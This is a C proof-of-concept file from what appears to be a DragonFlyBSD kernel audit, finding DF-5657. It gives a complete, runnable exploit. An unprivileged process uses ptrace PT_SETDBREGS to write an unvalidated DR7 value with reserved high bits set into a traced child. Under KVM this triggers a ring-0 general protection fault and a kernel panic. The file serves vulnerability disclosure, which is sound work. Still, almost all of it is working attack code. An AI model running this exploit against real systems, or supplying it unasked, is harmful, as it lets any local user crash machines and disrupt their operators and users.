⬢ DragonFlyBSD Kernel Audit
DF-5657 / poc.c
← back to finding ↓ download raw
/*
 * DF-5657 PoC -- pc64 set_dbregs() stores dr[7] into pcb->pcb_dr7 with the
 * architecturally-reserved bits 63:32 completely unvalidated
 * (sys/platform/pc64/x86_64/machdep.c:3166-3220).  On the next context
 * switch into the tracee, cpu_heavy_restore() loads %dr7 with only bits
 * 10..15 masked (sys/platform/pc64/x86_64/swtch.s:597-617).  Under KVM the
 * host kvm_set_dr() raises #GP(0) for any nonzero bit in DR7[63:32], so the
 * guest takes a ring-0 #GP in the middle of a context switch -> not at
 * doreti_iret -> trap_fatal() -> kernel panic.
 *
 * Unprivileged: any user ptrace()ing its own child.
 *
 * usage: poc [mode] [dr7hex]
 *   mode 1 = baseline, dr7 = 0            (expect: no crash)
 *   mode 2 = attack,   dr7 = 0xdeadbeef00000000 (expect: panic on resume)
 */
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>

#define PT_SETDBREGS_38 38

struct dbreg64 { unsigned long dr[16]; };

int main(int argc, char **argv)
{
	unsigned long mode = 2;
	unsigned long magic = 0xdeadbeef00000000UL;
	pid_t child;
	int st;
	struct dbreg64 db;

	if (argc > 1) mode  = strtoul(argv[1], 0, 0);
	if (argc > 2) magic = strtoull(argv[2], 0, 0);

	child = fork();
	if (child == 0) {
		ptrace(PT_TRACE_ME, 0, NULL, 0);
		raise(SIGSTOP);
		pause();		/* parent continues us; we just idle */
		_exit(0);
	}
	if (waitpid(child, &st, 0) < 0 || !WIFSTOPPED(st)) {
		fprintf(stderr, "[-] child did not stop as expected: %x\n", st);
		return 1;
	}
	printf("[*] child %d stopped (sig %d)\n", child, WSTOPSIG(st));

	memset(&db, 0, sizeof(db));
	if (mode == 2)
		db.dr[7] = magic;	/* reserved bits 63:32 set; no bp enabled */

	if (ptrace(PT_SETDBREGS_38, child, (caddr_t)&db, 0) == -1) {
		fprintf(stderr, "[-] PT_SETDBREGS: %s\n", strerror(errno));
		kill(child, SIGKILL);
		return 1;
	}
	printf("[+] PT_SETDBREGS(dr7=0x%016lx) ACCEPTED by kernel\n", db.dr[7]);
	printf("[*] PT_CONTINUE -> tracee switches in -> movq %%rax,%%dr7\n");
	fflush(stdout);

	ptrace(PT_CONTINUE, child, (caddr_t)1, 0);
	sleep(10);
	printf("[-] guest still alive after 10s (no panic observed)\n");
	kill(child, SIGKILL);
	return 0;
}